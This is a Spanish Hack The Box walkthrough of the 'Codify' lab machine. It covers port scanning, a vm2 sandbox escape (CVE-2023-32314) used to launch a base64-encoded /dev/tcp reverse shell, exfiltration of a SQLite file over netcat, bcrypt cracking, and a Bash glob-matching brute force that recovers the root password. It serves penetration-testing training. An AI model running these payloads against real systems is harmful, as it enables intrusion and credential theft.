Descripción
Codify es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Escape de un entorno de aislamiento de la biblioteca de NodeJS vm2
- Recuperación de una contraseña de una base de datos a partir de su hash
- Reutilizado de contraseñas
- Escalada de privilegios mediante el uso de expresiones regulares en Bash
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.151.136.
$ ping -c 3 10.129.151.136
PING 10.129.151.136 (10.129.151.136) 56(84) bytes of data.
64 bytes from 10.129.151.136: icmp_seq=1 ttl=63 time=44.2 ms
64 bytes from 10.129.151.136: icmp_seq=2 ttl=63 time=42.6 ms
64 bytes from 10.129.151.136: icmp_seq=3 ttl=63 time=42.8 ms
--- 10.129.151.136 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 42.646/43.207/44.205/0.707 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.151.136 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.151.136
Host is up (0.043s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 0.98 seconds
Tenemos tres puertos abiertos, 22, 80 y 3000.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.151.136 -sV -sC -p22,80,3000 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.151.136
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.83 seconds
Conseguimos tres servicios: un Secure Shell (SSH) y dos Hypertext Transfer Protocol (HTTP) funcionando en un Ubuntu Linux. Como no tenemos credenciales factibles para el servicio SSH nos movemos a los servicios HTTP. Observamos que el servicio alberga un sitio web http://codify.htb y una API en el puerto 3000, por lo que lo agregamos a nuestro archivo local /etc/hosts.
$ echo "10.129.151.136 codify.htb" | sudo tee -a /etc/hosts
Con WhatWeb podemos comprobar que el servidor está ejecutando un servidor web Apache 2.4.52.
$ whatweb --log-brief web_techs codify.htb
http://codify.htb [200 OK] Apache[2.4.52], Bootstrap[4.3.1], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.129.151.136], Title[Codify], X-Powered-By[Express]
Mirando la página web vemos que ofrece un servicio para probar código Node.js en un entorno aislado.
Vemos que algunos módulos restringidos son child_process y fs. Esto se hace para evitar que los usuarios ejecuten comandos arbitrarios del sistema. También hay una lista blanca con una lista corta de módulos permitidos: url, crypto, util, events, assert, stream, path, os and zlib. Además, en la página About us podemos ver que la aplicación está utilizando la biblioteca vm2 en su versión 3.9.16, utilizada para aislar JavaScript. Las versiones anteriores a 3.9.17 sufren una vulnerabilidad de escape de entorno de aislamiento inyectando comandos como vemos en el sitio web uptycs, con CVE-2023-32314. Tenemos una prueba de contacto en Github hecho por arkark..
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("echo hacked").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked
Explotación
Solo necesitamos pegar el código JavaScript a la aplicación. Estamos recibiendo un texto “hacked” devuelto. Así que podemos tratar de desplegar una terminal inversa reemplazando el argumento execSync como este.
.execSync("echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTIvMTIzNCAwPiYx' | base64 -d | bash")
Debemos codificar nuestro comando de terminal inversa a Base64.
Comando de la terminal inversa utilizada:
sh -i >& /dev/tcp/10.10.14.52/1234 0>&1
Cadena codificada en Base64:
c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTIvMTIzNCAwPiYx
Comando a enviar:
echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTIvMTIzNCAwPiYx' | base64 -d | bash
Abrimos el puerto de escucha y obtenemos una terminal inversa, así que la actualizamos.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.52] from (UNKNOWN) [10.129.151.136] 57792
sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
svc@codify:~$
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
svc@codify:~$ stty rows 48 columns 156
svc@codify:~$ export TERM=xterm
svc@codify:~$ export SHELL=bash
Post-Explotación
Vemos que estamos conectados como el usuario de svc y hay otros dos usuarios de consola en el sistema, joshua y root.
svc@codify:~$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
svc@codify:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash
Buscando en los directorios encontramos el código fuente de la aplicación Codify en /var/www/editor, y también encontramos otra aplicación llamada contact en /var/www/contact. Contiene un archivo tickets.db, que es una base de datos SQLite por lo que la descargamos para explorarla.
svc@codify:/var/www/contact$ ls
index.js package.json package-lock.json templates tickets.db
svc@codify:/var/www/contact$ cat tickets.db | nc 10.10.14.52 1235
Explorando el contenido encontramos una tabla users de usuarios que contiene una contraseña que hay que recuperar del usuario joshua.
Contenido de la tabla users:
id;username;password
3;joshua;$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
Así que copiamos el hash a un archivo y lo rompemos con John the Ripper y el diccionario RockYou.
$ echo "joshua:$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2" > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1 (joshua)
1g 0:00:00:10 DONE 0.09451g/s 136.1p/s 136.1c/s 136.1C/s winston..michel
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Conseguimos la contraseña spongebob1 para el uso joshua. Así que vamos a comprobar la reutilización de contraseñas en la terminal Linux.
svc@codify:/var/www/contact$ su joshua
Password:
joshua@codify:/var/www/contact$ id
uid=1000(joshua) gid=1000(joshua) groups=1000(joshua)
Hemos iniciado sesión como el usuario joshua con éxito. Revisando los comandos que el usuario puede ejecutar como root, encontramos un script, /opt/scripts/mysql-backup.sh.
joshua@codify:/var/www/contact$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
Revisando su contenido encontramos que está respaldando el contenido de una base de datos MySQL a un archivo comprimido. Antes de hacer la copia de seguridad se pide la contraseña de la base de datos, que está guardada en el archivo /root/.creds. Si la contraseña que introducimos es incorrecta, no continuará con la copia de seguridad. Necesitamos encontrar una manera de saltarnos al IF condicional sin conocer la contraseña.
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
...
En la primera comparación de la IF podemos ver que las variables $DB_PASS y $USER_PASS no están siendo cubiertas por comillas dobles de modo que eso significa que las cadenas que introduzcamos serán tratadas como un pattern matching. Esto significa que si introducimos la contraseña a*, la condición será verdadera si la variable $DB_PASS comienza con el carácter a. Vayamos por todo el conjunto de caracteres.
joshua@codify:/var/www/contact$ for character in {a..z}; do echo "checking character $character" && bash -c "echo '$character*' | sudo /opt/scripts/mysql-backup.sh"; done
checking character a
Password confirmation failed!
...
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
checking character l
Password confirmation failed!
Tenemos una coincidencia con el carácter k. Ahora podemos crear un script Bash para iterar sobre todas las posiciones de la contraseña.
#!/bin/bash
chars="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
password_length=30
password=""
## Para cada carácter en la contraseña (limitado por password_length)
for index in `seq 1 $password_length`
do
# Por cada número, mayúscula y minúscula
for (( i=0; i<${#chars}; i++ )); do
# Consigue el carácter i de la cadena de caracteres
char="${chars:$i:1}"
# Ejecutar el comando y guardar su salida a un archivo, luego cargarlo
# y eliminarlo
echo "$password$char*" | sudo /opt/scripts/mysql-backup.sh &> out.txt
result_execution=`cat out.txt`
rm out.txt
# Si la salida del programa coincide, el carácter es válido
if [[ "$result_execution" == *"Password confirmed!"* ]]; then
password="$password$char"
echo "Caracter $index: $password"
break
fi
done
# Si no se encontró una carácter para este índice, la contraseña está completa
if [[ "${#password}" -lt "$index" ]]; then
echo "Finalizado! La contraseña completa es $password"
break
fi
done
Luego ejecutamos el script Bash y obtenemos la contraseña completa, kljh12k3jhaskjh12kjh3.
joshua@codify:/var/www/contact$ bash a.sh
Character 1: k
Character 2: kl
...
Character 20: kljh12k3jhaskjh12kjh
Character 21: kljh12k3jhaskjh12kjh3
Finished! Full password is kljh12k3jhaskjh12kjh3
Si entramos en la cuenta root con esta credencial, nos conectamos con éxito.
joshua@codify:/var/www/contact$ su root
Password:
root@codify:/var/www/contact7# id
uid=0(root) gid=0(root) groups=0(root)
Flags
Finalmente podemos obtener la flag del usuario y la flag del sistema.
joshua@codify:/var/www/contact$ su root
Password:
joshua@codify:/var/www/contact7# cat /home/joshua/user.txt
<REDACTED>
joshua@codify:/var/www/contact# cat /root/root.txt
<REDACTED>